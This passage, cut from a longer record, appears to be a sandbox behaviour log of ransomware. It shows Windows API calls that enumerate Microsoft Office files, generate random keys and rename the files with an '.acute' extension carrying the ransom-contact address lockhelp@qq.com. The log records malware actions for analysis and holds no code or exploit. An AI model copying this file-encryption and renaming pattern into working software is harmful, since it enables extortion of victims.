files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.150] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=21914) returned 1 [0275.150] CloseHandle (hObject=0x37c) returned 1 [0275.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0275.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.150] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.150] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26086) returned 1 [0275.150] CloseHandle (hObject=0x37c) returned 1 [0275.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0275.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.150] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.150] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11694) returned 1 [0275.150] CloseHandle (hObject=0x37c) returned 1 [0275.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0275.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.151] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.151] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13874) returned 1 [0275.151] CloseHandle (hObject=0x37c) returned 1 [0275.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0275.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.152] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.153] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6929) returned 1 [0275.153] CloseHandle (hObject=0x37c) returned 1 [0275.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0275.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.153] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.153] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8826) returned 1 [0275.153] CloseHandle (hObject=0x37c) returned 1 [0275.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0275.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.154] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.156] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13954) returned 1 [0275.157] CloseHandle (hObject=0x37c) returned 1 [0275.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0275.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.157] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.157] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9671) returned 1 [0275.157] CloseHandle (hObject=0x37c) returned 1 [0275.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0275.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.157] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.157] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26160) returned 1 [0275.157] CloseHandle (hObject=0x37c) returned 1 [0275.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0275.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.158] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.158] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27546) returned 1 [0275.158] CloseHandle (hObject=0x37c) returned 1 [0275.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0275.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.158] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.159] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15145) returned 1 [0275.159] CloseHandle (hObject=0x37c) returned 1 [0275.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0275.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0276.151] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat")) returned 0 [0276.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat")) returned 0 [0276.435] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.435] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm")) returned 0 [0276.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic")) returned 0 [0276.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.442] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic")) returned 0 [0277.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_m.vss")) returned 0 [0277.479] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.479] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WEBMAP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\webmap_u.vss")) returned 0 [0277.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss")) returned 0 [0277.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss")) returned 0 [0277.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt")) returned 0 [0277.506] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.506] MoveFileW 